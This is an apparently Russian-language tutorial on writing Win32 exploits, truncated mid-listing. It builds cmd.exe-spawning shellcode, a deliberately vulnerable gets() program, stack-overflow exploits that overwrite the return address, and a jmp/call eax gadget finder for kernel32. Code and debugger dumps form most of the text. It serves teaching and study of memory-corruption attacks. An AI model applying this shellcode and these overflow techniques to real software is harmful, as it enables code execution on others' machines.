Учебник эксплойтера

В данном учебнике приведены примеры ошибок в ПО, а затем примеры эксплойтов к ним. Для начала разберемся с Вин32, а потом будем разбираться с никсами. Там уже будет веселее. А пока учимся ломать попсу (Вин32 на x86). В конце можно будет перейти на никсы, даже на альтернативных платформах (SPARC, MIPS, Macintosh). Все зависит от вас!

Теперь о навыках, необходимых для овладевания нелегким эксплойтерским делом.

Необходимые навыки:
— знание Си (хотя бы до среднего уровня);
— знание Ассемблера для x86, а точнее для защищенного режима процессора;
— знание WinAPI, а точнее умение пользоватья МСДНом, либо Win32 SDK;
— желание обучиться и упрямство.

Необходимое ПО:
— компилятор Си (в принципе поддойдет любой, но для стандартизации и облегчения взаимопонимания рекомендую VC 6.0 или 7.0);
— компилятор Ассемблера (опять-таки любой, но я буду пользоваться FASM);
— отладчик любой, рекомендую Olly Debuger. Главное умение им пользоваться. Владеете хорошо TD32 пользуйтесь им!
— дизассемблер — IDA. Желательно версии не ниже 3.75, чтобы нормально поддерживал сигнатуры VC 6.0.

Если нет чего-то из ПО — найдите. Если нет чего-то из навыков — исправьте, подучите. Не хватает немного знаний в чем-то? Все равно читайте, пробуйте! Главное разобраться с принципом, дальше будет легче.

Оглавление.

0x00. Шеллкодинг: Азы. Общие понятия.
0x01. Переполнение буффера: Разъяснение. Игра с адресами.
0x02. Переполнение буффера: Варианты размещения шеллкода.
0x03. Переполнение буффера: Собираем все вместе. Практика.
0x04. Return-To-Func: Учимся кудесничать. Сразу в бой.

Учебник эксплойтера: 0x00.

Шеллкодинг. Азы. Общие понятия.

0. Что такое шеллкод?

Шеллкод — это код который вполняется при эксплойтировании. Причем это непросто содержимое ехе-шника. Это конечно же более серьезная
весчъ. Отличия в написании шеллкода от написания обыной программы заключается в том, что у нас фактически нет таблицы импорта, нет
датасегмента. Зачастую все находится в стеке. Вообщем условия для исполнения бывают самые жуткие.Сразу оговорюсь о том, что в данной
статье написание универсального шеллкода под все версии ОСи не обсуждается (будет в будущем). Шеллкоды зачастую пишутся под конкретные
условия, поэтому универсальный шеллкод написать довольно-таки сложно. В данной статье рассмотрен локальный шеллкодинг под винды онли.

1.Виды шеллкодов.

Теперь о видах шелкодов. Шелкоды можно разделить на несколько типов и категорий. По категориям: сетевой и локальный (извиняюсь за корявый
язык). По типам: запускающий коммандную строку, создающий пользователя, bind-shell (маленький телнет сервер на одного человека), connect back
(телнет сервер наоборот),ftp+exec (позволяют закачивать на удаленную машину файлы и исполнять их), комбинированные варианты.

2. Разъясняем обстановку.

Шеллкод как вы уже поняли выполняется в программе, которую мы будем эксплойтировать. Т.е. мы заранее не можем предположить что за хлам
находится в стеке и где вообще щас расположен. Но это не столь важно. Гораздо более важно, то, что для для запуска коммандного интерпретатора
нам надо вызвать например функцию WinExec (можно и др. ф-ции но суть не в этом), но для этого надо знать ее адрес в памяти, который мы
естественно изначально не знаем. Ко всему прочему шеллкод зачастую сам находится в стеке, т.е надо быть осторожным, чтоб не затереть самого
себя. Данные в отсутствие датасегмента опять-таки будем хранить в стеке. В завершении абзаца хочу сказать, что если вы не поняли, что-то, то
поймете по ходу дела.

3. Шеллкодим по маленьку. Вобщем обо всем.

Здесь мы напишем что-то вроде прообраза шеллкода на Си. Читайте комментарии в исходнике.

#include <windows.h>                    //Подключаем хэдер файл, 
                                        //где объявлены все ВинАПИ.

void main()                             //Собственно основная ф-ция 
                                        //программы.
{
    char cmd[]="cmd.exe";               //Переменая указывающая файл, 
                                        //необходимый для запуска.

    WinExec(cmd,SW_NORMAL);             //Исполняем cmd.exe. SW_NORMAL 
                                        //говорит о том что окно cmd.exe
                                        //будет нормальным(не свернутым
                                        //и не развернутым). Почему мы не
                                        //исползовали вместо этого 
                                        //SW_SHOW будет объяснено далее.
}

Скомпилируйте данную программу. В результате вы получите программу, которая в результате запускает коммандный интерпретатор cmd.exe. Теперь
разберемся в том, какие параметры передаются функции WinExec. Первый параметр адрес строки с названием программы для запуска. Второй параметр как я уже говорил говорит о том как будет выглядеть запущенная программа.

Итак первый параметр двойное слово (4 байта) т.е. unsigned long на сишный манер, второй параметр размером в 4 байта, т.е. unsigned int. Причем,
заметьте SW_NORMAL равен на самом деле просто 1 (объявлен в WINUSER.H : #define SW_NORMAL 1). Учтем это и слегка перепишем наш сишный шеллкод.

#include <windows.h>

void main()
{
 char cmd[]="cmd.exe";
 WinExec((unsigned long)&cmd, (unsigned int)1);
}

Попрежнему исполняется cmd.exe. Если есть желание добавmте и посмотрите адрес расположения переменной cmd в памяти.

printf("0x%08p",&cmd);

Скорее всего оно у вас будет 0x0012xxxx. У меня например 0x0012FF78. Теперь пойдем на уровень ниже. Итак как же происходит вызов функций.
Грубо говоря мы просто пихаем в стек обратном порядке все аргументы функции, а затем ее вызываем (это верно для функций, которые не __fastcall
). Еще раз перепишем шеллкод теперь со вставкой на асме.

#include <windows.h>

void main()
{
 char cmd[]="cmd.exe";
 _asm                //Указываем, что пошла асм вставка. 
 {
  push 1             //Пишем в стек вид окна SW_NORMAL
  lea eax,cmd        //Получаем в eax адрес переменной cmd
  push eax           //пишем этот адрес в стек
  mov eax,[WinExec]  //Пишем в eax адрес WinExec
  call eax           //переходиим по этому адресу (просто вызывем ф-цию).
 }
}

В результате опять-таки у нас получатся запущенный шелл. Советую добавить вставки с выводом с помощью printf’а разных данных. Вам же будеи легче идти дальше. Советую здесь слегка задержаться и поэксперементировать.

Давайте теперь избавимся от необходимости в датасегменте. Будем писать переменную в стек. А затем уже работать с ней.

#include <windows.h>

void main()
{
 _asm
 {
  push 20646D63h     //Пишем в стек " dmc" в hex-кодах, т.е cmd с пробелом но в 
                     //обратном порядке (мы же в стек пишем).
  mov eax,esp        //Узнаем адрес строки, что мы только что записали
                     //и сохраняем его в eax.
  push 1             //SW_NORMAL - вид окна
  push eax           //Пишем сохранненный зараннее адрес строки
  mov eax,[WinExec]  //Пишем в eax адрес WinExec
  call eax           //переходиим по этому адресу.
 }
}

Теперь я думаю у вас выскочила ошибка, но консоль все же появилась. Скорее всего что там вам говорлось о том что ошибка в модуле checkesp.c

К чему бы это, а что мы портим стек в программе. Но это в принципе для шеллкода не важно. Фиксится очень легко: сохранением esp а затем
его восстанавливаем. т.е. Нужен данный фикс тока на время отладки дабы не кликать все время на кнопку продолжить. Т.е. в релизе мы его
уберем.

#include <windows.h>

void main()
{
 _asm
 {
  mov ebx,esp        //Сохраняем указатель на стек.
  push 20646D63h
  mov eax,esp
  push 1
  push eax
  mov eax,[WinExec]
  call eax
  mov esp,ebx        //Восстанавливаем его.
 }
}

Теперь чтобы получить шеллкод надо сделать чтобы вызов функции WinExec был статичным (без таблицы импорта, которой у шеллкода нет). Но для этого надо знать адрес WinExec в памяти. Найдем… его.

#include <windows.h>

void main()
{
	unsigned long KernelAddr;   //Переменная адрес ядра
	unsigned long WinExecAddr;  //Переменная адрес WinExec
        //Находим адрес нужной нам библиотеки
	KernelAddr=GetModuleHandle("KERNEL32.DLL");
	printf("Kernel base is at address: 0x%08p\n",KernelAddr);
        //Находим адрес WinExec в этой библиотеке
	WinExecAddr=GetProcAddress(KernelAddr,"WinExec");
	printf("WinExec address in memory is: 0x%08p\n",WinExecAddr);
	getch();
}

Данная программка скажет вам адрес ядра (пригодится в будущем) и адрес WinExec в KERNEL32.DLL. Вы спросите почему KERNEL32.DLL, а не например
ADVAPI32.DLL. Ответ прост WinExec экспортируется в этой библиотеке. Итак программе мне сказала, что адрес WinExec —> 0x793A9C1D. Опять перепишем шеллкод.

#include <windows.h>

void main()
{
_asm
 {
  mov ebx,esp
  push 20646D63h
  mov eax,esp
  push 1
  push eax
  mov eax,793A9C1Dh
  call eax 
  mov esp,ebx
 }
}

Релиз:

#include <windows.h>

void main()
{
_asm
 {
  push 20646D63h
  mov eax,esp
  push 1
  push eax
  mov eax,793A9C1Dh
  call eax 
 }
}

В принципе шеллкод уже написан, осталось получить его опкодую реализацию. Это можно сделать в отладчике, который идет с MS VC. А именно: начните отлаживать (F11), затем в меню View->Debug windows->Disassembly, в появившемся окне в контекстном меню поставьте галочку напротив Code
Bytes. И соберите шеллкод как собрал его я.

В отладчике.

 
25:   _asm
26:    {
27:     push 20646D63h
00401028 68 63 6D 64 20       push        20646D63h
28:     mov eax,esp
0040102D 8B C4                mov         eax,esp
29:     push 1
0040102F 6A 01                push        1
30:     push eax
00401031 50                   push        eax
31:     mov eax,793A9C1Dh
00401032 B8 1D 9C 3A 79       mov         eax,793A9C1Dh
32:     call eax
00401037 FF D0                call        eax
33:    }

Итак наш шеллкод полученный с помощью дебаггера.

unsigned char shellcode[17]=
"\x68\x63\x6D\x64\x20"    //push        20646D63h
"\x8B\xC4"                //mov         eax,esp 
"\x6A\x01"                //push        1
"\x50"                    //push        eax
"\xB8\x1D\x9C\x3A\x79"    //mov         eax,793A9C1Dh
"\xFF\xD0";               //call        eax

Либо второй метод, скомпилировать в фасме.

use32
push 20646D63h
mov eax,esp
push 1
push eax
mov eax,793A9C1Dh
call eax

А полученный COM файл и будет шеллкодом, откуда его надо будет прочитать с помощью хекс редактора (любого) и переписать в тот формат в каком я его показал.

68636D642089E06A0150B81D9C3A79FFD0 (в хекс редакторе)

Результат:

unsigned char shellcode[17]=
"\x68\x63\x6D\x64\x20\x89\xE0\x6A\x01"
"\x50\xB8\x1D\x9C\x3A\x79\xFF\xD0";

Разница в шеллкодах не в форме но, в содержании из-за разных ассемблеров. Проверить его можно так.

void main()
{
 _asm
 {
  lea eax,shellcode
  jmp eax
 }
}

или так

void main()
{
 int (*funct)();
 funct = (int (*)()) shellcode;
 (int)(*funct)();
}

Протестил оба шеллкода — работают. У вас должно работать по идее тоже, надо всего лишь подправить адрес WinExec для вашей системы. Если вы заметили, то при тестинге шеллкода у вас появлялась консоль, а потом окно с ошибкой по адресу 0x00000005. Это происходит из-за того, что выполнив наш шеллкод прцоцессор продолжает выполнять код лежащий в стеке за дальше нашим шеллкодом. А в стеке там белиберда…

Поэтому нам надо чтобы шеллкод завершал работу эксплойтированной программы корректно через ExitProcess, а не расхлябано оставлять все на самотек. Что мы сейчас и сделаем. Немного модернизируйте программу для нахожения WinExec для обнаружения ExitProcess в ядре.

#include <windows.h>

void main()
{
 _asm
 {
  push 20646D63h
  mov eax,esp
  push 1
  push eax
  mov eax,793A9C1Dh
  call eax
  push 0             //Пишем в стек аргумент, т.е. 0.
  mov eax,793AE01Ah  //Адрес ExitProcess в ядре у меня.
  call eax           //Вызываем эту функцию.
 }
}

Итак на сегодня финальная версия шеллкода выглядит именно так. Щас мы ее привдет к нормальному виду. Через отладчик MS VC:

56:    _asm
57:    {
58:     push 20646D63h
00401028 68 63 6D 64 20       push        20646D63h
59:     mov eax,esp
0040102D 8B C4                mov         eax,esp
60:     push 1
0040102F 6A 01                push        1
61:     push eax
00401031 50                   push        eax
62:     mov eax,793A9C1Dh
00401032 B8 1D 9C 3A 79       mov         eax,793A9C1Dh
63:     call eax
00401037 FF D0                call        eax
64:     push 0
00401039 6A 00                push        0
65:     mov eax,793AE01Ah
0040103B B8 1A E0 3A 79       mov         eax,793AE01Ah
66:     call eax
00401040 FF D0                call        eax
67:    }

Результат:

unsigned char shellcode[] =
"\x68\x63\x6D\x64\x20"   //push        20646D63h
"\x8B\xC4"               //mov         eax,esp
"\x6A\x01"               //push        1
"\x50"                   //push        eax
"\xB8\x1D\x9C\x3A\x79"   //mov         eax,793A9C1Dh
"\xFF\xD0"               //call        eax
"\x6A\x00"               //push        0
"\xB8\x1A\xE0\x3A\x79"   //mov         eax,793AE01Ah
"\xFF\xD0";              //call        eax

Через FASM + хекс редактор

68636D642089E06A0150B81D9C3A79FFD06A00B81AE03A79FFD0

unsigned char shellcode[]=
"\x68\x63\x6D\x64\x20\x89\xE0\x6A\x01\x50\xB8\x1D\x9C"
"\x3A\x79\xFF\xD0\x6A\x00\xB8\x1A\xE0\x3A\x79\xFF\xD0";

Тестим шеллкоды так же. Ну завершим урок тем, что сформируем все это месиво в один красивый релиз.

#include <windows.h>

unsigned char shellcode[] =
"\x68\x63\x6D\x64\x20"   //push        20646D63h
"\x8B\xC4"               //mov         eax,esp
"\x6A\x01"               //push        1
"\x50"                   //push        eax
"\xB8\x1D\x9C\x3A\x79"   //mov         eax,793A9C1Dh
"\xFF\xD0"               //call        eax
"\x6A\x00"               //push        0
"\xB8\x1A\xE0\x3A\x79"   //mov         eax,793AE01Ah
"\xFF\xD0";              //call        eax

void prepare_shellcode()
{
	unsigned long kerneladdr;
	unsigned long addr;
	
	//Находим адрес ядра
	kerneladdr=GetModuleHandle("KERNEL32.DLL");
	printf("KERNEL base is: 0x%08p\n",kerneladdr);

	//Находим адрес WinExec в ядре и меняем его в шеллкоде
	addr=GetProcAddress(kerneladdr,"WinExec");
	printf("WinExec address is: 0x%08p\n",addr);
	*(DWORD *)(shellcode+11) = addr;

	//Находим адрес ExitProcess в ядре и меняем его в шеллкоде
	addr=GetProcAddress(kerneladdr,"ExitProcess");
	printf("ExitProcess address is: 0x%08p\n",addr);
	*(DWORD *)(shellcode+20) = addr;
}

void main()
{
	prepare_shellcode();
	_asm
	{
		lea eax,shellcode
		jmp eax
	}
}

Таким мы получили практически «универсальный» и рабочий шеллкод. Который можно использовать в больштнстве локальных эксплойтов. Единственно что нужно так это вызывать функцию prepare_shellcode для настройки шеллкода под даную систему. Скомпилируйте данную програмулинку — думаю она у вас заработает. И напоследок: знайте, данный шеллкод еще очень далек от совершенства и в нем специально допущена одна недоработка, чтобы заострить на ней внимание в следующей главе про переполнение буффера.

1. Компилятор С/С++

Где взять микрософтовский компилятор (правда без IDE, зато бесплатно) написано здесь. Где скачать Visual Studio целиком — ищите здесь.

В принципе Visual Studio конечно удобнее, но и весит на порядок больше, чем компилятор указаный выше. Если все же будете ставить себе Visual Studio — не поленитесь скачать и установить Visual Assist X. Он очень сильно облегчит вам работу.

Еще можно пользоваться компилятором gcc. Он входит в состав Cygwin — качаем и запускаем его. Дальше в принципе все достаточно понятно. Если будет непонятно — спрашивайте, объясню. Просто мне кажется, что немного кто будет его качать, а те, кто будут сами разберутся.

Нужно еще скачать Platform SDK с microsoft.com. Полный вариант весит 342 метра и нужно оттуда реально совсем немного. Для наших целей будет достаточно скачать только Core SDK (там метров 150 должно получиться). Когда будете качать — не забудьте отключить кусок, предназначеный для 64-разрядных платформ (если конечно у вас не такая). Можно скачать двумя способами — либо нажать в левом вертикальном меню на пункт CoreSDK и потом на следующей странице Install this SDK, но в этом случае нельзя будет отказаться от компонент для 64-разрядных платформ. Можно еще из верхнего горизонтального меню выбрать Download->Install и на следующей странице выбрать только то, что нужно.

2. Ассемблер.

Рекомендованный FASM. Есть еще NASM. Размер около
200 кБ.

3. Отладчик.

Olly Debugger. Знающие и умеющие могут юзать другие вплоть до SoftICE.

4. Дизассемблер.

IDA (IDA Pro Standard 4.7.0.830 весит 29 метров). Кроме IDA есть другие дизассемблеры, например в состав NASM входит дизассемблер или же на страничке Olly Debugger’a есть ссылка на их продукт.

И еще. Если у вас нет MSDN на CD — не обязательно идти на рынок и покупать или же выкачивать несколько дисков из сети. Бесспорно, MSDN
установленный локально экономит кучу времени и сил, но если все же достать его проблематично — всегда можно сходить на msdn.com и пользоваться на здоровье. Там всегда последняя версия, чего нельзя сказать о той, что будет стоять у вас локально. С другой стороны, те функции, о которых нам нужно будет читать не изменяются уже очень давно (все таки это правильно когда API системы не изменяется, посему выбирайте наиболее удобный для вас способ.

Еще рекомендуется редактор Scite и плагин к нему для поддержки WinAPI.

0x01. Переполнение буфера: разъяснение. Игра с адресами.

Продолжим разговор. Будем исходить из того, что с шеллкодигом вы разобрались (хороший вариант), либо раздобыли рабочий шеллкод (плохой вариант — вам же дальше хуже будет).

1. Пишем уязвимую программу. Разводим жуков.

Дырявые программы еще надо уметь писать и микрософт это всем доказал… Мы щас тоже напишем кое-что. Наша программа будет просто считывать с консоли строки и ложить ее в массив. Все просто… просто до безумия.

#include <stdio.h>          //Подключаем модуль стандартного
                            //ввода-вывода.

void main()                 //Основная ф-ция.
{
	char small[18];     //Буффер собственно.
	gets(small);        //Читаем в буффер.
}

Компилируем… Сразу предупрежу: компилируем именно в релиз, debug-версия тоже пойдет, но из-за наличия кучи левого (отладочного кода) она рассматриваться не будет.

2. Тестим на жуковатость.

Запускаем. Вводим строку..(12 симолов длиной). Все пока работает нормально. Теперь введем такую строку.

AAAAAAAAAAAAAAAAAAAAAAAA

Если у вас все так же как у меня (тот же компилятор), то у вас программа упадет по адресу 0x41414141. Опа а адрес какой-то странный. Кажется мы его можем менять (0x41 — ASCII код буквы ‘A’). Теперь введем другую строку

AAAAAAAAAAAAAAAAAAAAABCD

В результате программа опять падает, но на этот раз по адресу 0x44434241. Забавно. А теперь вспомним, что

0x44 — ‘D’
0x43 — ‘C’
0x42 — ‘B’
0x41 — ‘A’

Выходим мы можем послать программу, куда нам надо. Даже на 0x686F6F69 (hooi).

3. Отладка и понимание.

Как же это получается. Разберемся с этим поподробнее. Для этого отладим программу. Я лично отлаживаю в OllyDbg. Но в данном случае удобно воспользоваться встроенным в MS VC IDE отладчиком. Так как он показывает вначале си-код, а затем асм-код. Итак:

6:        gets(small);
//Узнаем адрес char small[18] и пишем его в eax.
00401028 8D 45 EC             lea         eax,[ebp-14h]
//Пишнм eax в стек. Т.е. заносим туда адрес буффера.
0040102B 50                   push        eax
//Вызываем ф-цию ввода строки.
0040102C E8 2F 00 00 00       call        gets
//Восстанавливаем указатель на стек.
00401031 83 C4 04             add         esp,4

Во время отладки на этот раз в OllyDbg (ну удобнее он мне, что поделать) выяснил, что адрес нашей строки в памяти 0x0012FF70. Посмотрим что там. А там:

0012FF68 | 0D 10 40 00 70 FF 12 00 | .@.pя.
0012FF70 | 41 41 41 41 41 41 41 41 | AAAAAAAA
0012FF78 | 41 41 41 41 41 41 41 41 | AAAAAAAA
0012FF80 | 41 41                   | AA

0x0012ff68 — 0x0012ff6b — это сохраненный EIP
0x0012ff6c — 0x0012ff6f — это сохраненный EBP
0x0012ff70 — 0x0012ff81 — это наша строка

Не забудьте про обратный порядок пихания в стек… Итак схема (перевернутая для правильного, но неудобного просмотра)

[ ..СТЭК.. 0x0012ff81 ]
[ наша строка (18 байт) ]
[ сохраненный EBP (4 байта) ]
[ сохраненный EIP (4 байта) ]
[ ..СТЭК.. 0x0012ff68 ]

4. Грязные игры и переписи.

Итого чтобы переписать адрес возврата из ф-ции нам надо передать строку длиной 22 байт + 4 байта адрес. Т.е. мы можем прыгнуть на любой код, в том числе и налюбую функцию в программе. Это все конечно интересно, но вернемся к теории. Поясню что там делают сохраненные регистры. Дело в том, что при вызове функции gets() сохраняется регистр ebp (перед тем как сохраняется esp в ebp) и eip для возврата обратно из функции в нужное (в данном случае нам место). А при переполнении мы соответственно соответственно трем все сохраненки регистров. А когда же происходит выход из
функции gets, инструкция ret берет первые же четыре байта из стэка и принимает их за адрес возврата и соответственно переходит по нему. Это была теория. А теперь продолжим наши нецензурные забавы.

Для этого перепишем уязвимую программу

#include <stdio.h>

void test()
{
//Выводи тестовую строку.
 printf("We are here...\n");
}

//Здесь все так же как и раньше.
//кроме одного
void main()
{
 char small[18];
 //Вызываем ф-цию test() первый раз.
 test();
 gets(small); 
}

Запустим:
\Release>buggy
We are here…
ascsdc

5. Готовим сплойт. И проверяем его.

Как видите в этой программе функция test() вызывается один раз. Чтож проэксплойтируем так чтобы уязвимая программа вызвала эту
функцию на бис… Для этого узнаем адрес этой функции, продизассемблировав уязвимую программу. У меня в IDA.

.text:00401001                 mov     ebp, esp
.text:00401003                 push    offset aWeAreHere___ ; 
.text:00401008                 call    _printf

Вывод нам надо перезаписать адрес возврата на 0x00401001. Напишем наш первый сплойт.

#include <stdio.h>
void main()
{
    //00401001
    char big[]= "AAAAAAAAAAAAAAAAAAAA"  //Просто для переполнения
                "\x01\x10\x40\x00";     //адрес возврата 
                                        //(в обратном порядке
                                        //мы же в стеке все же, 
                                        //а там все наоборот)
    printf(big);                        //выводим нашу строку. 
}

Скомпилируем. И перенаправим вывод из эксплойта в уязвимую программу.
\Release>exploit | buggy
We are here…
We are here…

Как видите мы вызвали функцию test() второй раз, перескочив на него. При этом правда наша програма упала (содержимое регистров и стека
испортилось ведь), но да ладно. Главное — мы можем прыгать на любой почти место в памяти. Напомню, что строка вводимая не должна содержать символы 0x00, 0x0a, 0x0d, 0x1a (либо содержать в качестве последнего символа строки). Ибо ввод строки прекращается при получении данных символов. В том числе и на содержимое в стеке, где может находится и наш код, но об этом следующий раз.

Хочу заметить, что данную программу надо всегда запускать с параметрами. Иначе кирдык. Удачи всем. Скоро мы совмести прыжки по адресам с
шеллкодами.

Переполнение буффера: Варианты размещения шеллкода.

1. Сидим в отладчике и не высовываемся. Думаем о светлом будущем.

Итак мы уже научились прыгать куда хотим или почти куда хотим, чтож это всема неплохо. Не хватает лишь финального прыжка на шеллкод. Вы зададите вопрос а где шеллкод? А я отвечу, что вполне логичным и что главное естественным, является замена наших «AAA.AA» на шеллкод, это и есть вариант номер ноль. Который сразу отметается в данном случае, поскольку он требует чтобы буффер был не меньше шеллкода. Т.е. схема [мусор+шеллкод][адресс возврата]

Теперь поподробнее об адресе возврата, адрес возврата должен быть указывающим на расположения шеллкода в стеке, но так как стек (точнее его верхушка) всегда расположен по разным адресам и их сложно предугадать. Это я говорю к тому, чтобы вы поняли, что адресс возврата не должен прошиваться статически. Зачастую программу отлаживают и вясняют какой регистр указывает на адрес строки в стеке. При отладке нашей программы выяснилось, то что на строку указывает (содержит адрес ее расположения в памяти) регистр eax, поэтому чтобы не искать каждый раз строку в памяти вместо адреса указывающего на строку пишут переход по регистру.

В данном случае это jmp eax или call eax. Эти безусловные переходы ищут в ядре, к которому естественно любой процесс имеет право обратиться (за помощью). Итак схема.

                        ________БУФЕР______
0x0012ffXX  ...СТЭК....[nop.....nop+shellcode] [адрес возврата]
......................  ^                      | |
.....................  /|\                     | |
                       |||                     | |
                       |__=====jmp/call eax====__|
                            ЯДРО KERNEL32.DLL

Рисовать не умею, но надеюсь общий смысл вы поняли. Почему в ядре, а например не в самой уязвимой программе? В принципе и так возможно, но только
для этого метода. Потому, что обычно адрес загрузки ехешника 0x00400000. А как следствие адрес этого безусловного перехода а программе будет (перевернутый ужедля записи в стэк) \xXX\xXX\x4X\x00, т.е. после этого мы уже ничего строке не передадим потому что в адресе нулевой байт, который является признаком конца строки. Т.е. представьте себе картину — у нас маленький буфер как сейчас, которого не хватает для размещения
шеллкода. Тогда эксплойтеры делают вот что передают строку такого содержания:

          |+==================+
          ||                  ||
          ||                  \/
[минишеллкод][адрес возврата][полный шеллкод]
 /\                       ||
 ||                       ||
 |_=======================_|

Если что-то из этих трех заений цепи содержит плохие байты:
— 0x00 — конец аски строки.
— 0x0a — еще какой-то плохой символ.
— 0x0d — символ ENTER, тоже служит концом строки.
— 0x1a — EOF он же End Of String 8)
то следующие звения цепочки просто не будут введены.

Как же искать jmp eax (FF E0) или call eax (FF D0)? Есть несколько путей:
— отладчик
— сами с усами и писать сами будем.

Вообщем делайте как хотите а я давно себе заготовил такую программу.

/*
 *   Just a Small Address Finder by 0x90 [at] rambler.ru
 *   Feel Free to modify the code. I'l be glad to see
 *   the modifications of this proggie at my mail.
 *   P.S. yes, I know that the code is dummy 8).
 */
#include <windows.h>
#include <conio.h>
#include <stdio.h>

//Fucking Bytes check function
int ContainsFuckingBytes(unsigned long addr)
{
 int i;
 char str[8];
 itoa(addr,str,16);
 if (strlen(str)<7) return 1;
 if (strlen(str)==7 && (str[0]=='a' || str[0]=='c')) return 1;
 if (strlen(str)==8) 
 {
    for (i=0; i<8; i+=2)
    {
        if (str[i]=='0' && (str[i+1]=='0' || str[i+1]=='a' || str[i+1]=='c')) return 1;
        if (str[i]=='1' && str[i+1]=='a') return 1;
    }
 }
 return 0;
}

int get_it(char *pDllName)
{
	HINSTANCE h; 
	unsigned long a=0;
	int found = 0;
	BYTE* ptr;
	BOOL finished=FALSE;

	printf("Checking if %s loaded...\n",pDllName);
	h = GetModuleHandle(pDllName);
	if (h==0)
	{
		printf("%s isn't loaded.\n",pDllName);
		return 0;
	}
	printf("%s is loaded at the moment and its addres is %p\n",pDllName,h);
	ptr = (BYTE*)h;
	
	while (1)
	{
		__try
		{	 
			if (ptr[a]==0xff)
			{
				if (ptr[a+1]==0xd0)
				{
					if (!ContainsFuckingBytes((unsigned long)h+a))
					{
						printf("call eax found at 0x%p\n",(unsigned long)h+a);
						found++;
					}
				}
				if (ptr[a+1]==0xe0)
				{
					if (!ContainsFuckingBytes((unsigned long)h+a))
					{
						printf("jmp eax found at 0x%p\n",(unsigned long)h+a);
						found++;
					}
				}
			}
			a++;
		}
		__except(printf("\nSearch ended. % iaddresses found! \n",found), EXCEPTION_EXECUTE_HANDLER)
		{			
		}		
	}	
    return ;
}

int main(int argc, char *argv[])
{
    unsigned long addr;
    addr=get_it("KERNEL32.DLL");
	getch();
    return 0;
}

Данная программа выдаст вам все адреса jmp eax в ядре. Но так как придется дробить шеллкод на две части, то это сильно усложнит все. Поэтому перейду к методу номер 1. Но для начала вернемся на землю…

Приступим к практике. Сразу скажу: вот исходный текст уязвимой программы и компилировать его надо обязательно в релиз.

#include <stdio.h>

void main()
{
	char small[18];
	gets(small);
}

Итак поехали. Главное в этой главе экспериментировать. Скомпилировал, запустил, ввел AAAAA — в результате нашел AAAAA в стеке по адресу 0x0012ff70.
0012FF70 41 41 41 41 41 00 00 00 AAAAA…
0012FF78 56 00 00 00 4D 13 40 00 V…M@.

Для этого использовал OllyDbg, т.к. ледышка у меня на ноуте отказывается напрчь работать правильно с клавой, это я говорю с намеком на то, чтобы вы использовали именно тот отладчик, который вам УДОБНЕЙ, а не который считается «крутым дебаггером». Искать в памяти можно двумя наиболее
простыми методами: поиск строки в памяти (думаю легко освоите) или как сделал я — смотрим указатель на стек ESP перед вызовом функции gets (в моем случае ESP = 0x0012ff88) идем по этому адресу в дампе и где-то рядом валяется истина, т.е. введенная нами строка.

Сразу скажу предложенные методы выбраны автором по принципу чем проще — тем лучше. Другие методы можете предлагать, автор их обязательно рассмотрит. Итак вы нашли адрес строки в памяти — отлично.

2. Испробуем вариант номер раз.

Суть такого варианта в том что мы размещаем шеллкод после адреса возврата и переходим на него тоже динамически посредством jmp/call esp.

0x0012ffXX ...стэк..[мусор из 0x90][адрес возврата][шеллкод]
                                             |     /\
0x793AXXXX ...ядро...............[jmp esp]<--+     ||
                                   |________________+

Преимущество данного метода в том, что он практически не ограничивает размер шеллкода. Заготовленный заранее из прошлых глав код в студию.

#include <windows.h>

unsigned char shellcode[26] =
"\x68\x63\x6D\x64\x00"   //push        00646D63h
"\x8B\xC4"               //mov         eax,esp
"\x6A\x01"               //push        1
"\x50"                   //push        eax
"\xB8\x1D\x9C\x3A\x79"   //mov         eax,793A9C1Dh
"\xFF\xD0"               //call        eax
"\x6A\x00"               //push        0
"\xB8\x1A\xE0\x3A\x79"   //mov         eax,793AE01Ah
"\xFF\xD0";              //call        eax

void prepare_shellcode()
{
	unsigned long kerneladdr;
	unsigned long addr;
	
	//Находим адрес ядра
	kerneladdr=GetModuleHandle("KERNEL32.DLL");
	printf("KERNEL base is: 0x%08p\n",kerneladdr);

	//Находим адрес WinExec в ядре и меняем его в шеллкоде
	addr=GetProcAddress(kerneladdr,"WinExec");
	printf("WinExec address is: 0x%08p\n",addr);
	*(DWORD *)(shellcode+11) = addr;

	//Находим адрес ExitProcess в ядре и меняем его в шеллкоде
	addr=GetProcAddress(kerneladdr,"ExitProcess");
	printf("ExitProcess address is: 0x%08p\n",addr);
	*(DWORD *)(shellcode+20) = addr;
}

Теперь напишем эксплойт, учтите размер буфера теперь 28 байт, т.е. нам надо 32 байта чтобы затереть адрес. Проверим экспериментально — действительно программа падает по адресу 0x44434242 при вооде строки

AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD

Исходя из схемы, напишем эксплойт.

#include <windows.h>
#include <stdio.h>

unsigned char big[]=
//32 bytes A
"AAAAAAAAAAA"
"AAAAAAAAAAA"
"AAAAAAAAAA"
/*addr 4 bytes*/
//0x793BEDBB jmp esp in kernel32.dll
"\xBB\xED\x3B\x79"

/*shellcode*/
"\x68\x63\x6D\x64\x00"  //push 00646D63h
"\x8B\xC4"              //mov  eax,esp
"\x6A\x01"              //push 1
"\x50"                  //push eax
"\xB8\x1D\x9C\x3A\x79"  //mov  eax,[WinExec]
"\xFF\xD0"              //call eax
"\x53"                  //push ebx
"\xB8\x1A\xE0\x3A\x79"  //mov  eax,[ExitProcess]
"\xFF\xD0";             //call eax


void prepare_shellcode()
{
	unsigned long kerneladdr;
	unsigned long addr;
	
	//Находим адрес ядра
	kerneladdr=GetModuleHandle("KERNEL32.DLL");

	//Находим адрес WinExec в ядре и меняем его в шеллкоде
	addr=GetProcAddress(kerneladdr,"WinExec");
	//printf("0x%08p\n",addr);
	*(DWORD *)(big+47) = addr;
	

	//Находим адрес ExitProcess в ядре и меняем его в шеллкоде
	addr=GetProcAddress(kerneladdr,"ExitProcess");
	//printf("0x%08p\n",addr);
	*(DWORD *)(big+55) = addr;	
}
void main()
{
  prepare_shellcode();
  printf(big);
}

Странно почему ничего не работает? Да еще и программу крэшит. Посмотрим что же выводит эксплойт. А он выводит всего лишь «AAAAA…AAAhcmd». Почему? Да потому что у нас в шеллкоде есть нулевой байт, после которого заканчивается ввод/вывод строки. Если вы внимательно читали прошлые главы, то заметили, что этого противного байта раньше не было. Я им заметил в шеллкоде символ пробела при записи в стек «cmd». Я это сделал для того, что по стандарту строка должна заканчиваться нулевым байтом. Жаль скажите вы придется отойти от стандарта. А вовсе не придется скажу я вам. Вот вам новый шеллкод без нулевых байт.

unsigned char shellcode[28]=
                        //вот так лучше занулять регистры
